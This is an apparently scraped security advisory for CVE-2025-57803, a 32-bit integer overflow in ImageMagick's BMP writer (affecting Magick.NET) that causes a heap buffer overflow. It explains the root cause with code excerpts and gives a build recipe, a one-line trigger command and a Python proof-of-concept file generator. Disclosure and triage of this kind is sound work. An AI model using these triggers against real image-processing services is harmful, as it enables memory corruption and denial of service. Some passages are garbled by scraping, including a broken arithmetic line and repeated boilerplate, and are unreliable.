Magick.NET-Q16-AnyCPU
Affected
- introduced
0, fixed14.8.1(ecosystem)
Fixed versions
14.8.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2025-57803
ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
magick ... out.bmp workers.---
Scope & Affected Builds
WriteBMPImage in coders/bmp.c).3fcd081c0278427fc0e8ac40ef75c0a1537792f7ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712---
Root Cause (with code anchors)
Stride computation (writer)
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
Allocation (writer)
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.
---
Integer-Overflow Analysis (32-bit size_t)
Stride formula for 24-bpp:
bytes_per_line = 4 * ((width * 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
(width * 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.
---
Concrete Demonstration
Chosen width: `W = 178,957,200` (just over Stage-1 bound)
24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 55355535 / 32 = 172bytes_per_line = 172 * 4 = **688** bytes ← tiny striderow_bytes = 3*W = **536,871,600** bytesMagickMax(688, W+256) = **178,957,456** bytes---
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
---
Exploitability & Risk
Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
Reproduction (copy-paste triager script)
Test Environment:
docker run -it --rm --platform linux/386 debian:11 bashapt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python37.1.2-0 → commit 3fcd081c0278427f..../configure \
--host=i686-pc-linux-gnu \
--build=x86_64-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)"
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
One-liner trigger (no input file):
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
# W > 178,956,969
with open("huge.ppm", "wb") as f:
f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
chunk = (b"\x41\x42\x43") * (1024*1024)
remaining = 3 * W
while remaining:
n = min(remaining, len(chunk))
f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
---
Proposed Severity
High Basis: The source's own band: HIGH
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
0, fixed 14.8.1 (ecosystem)14.8.1
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0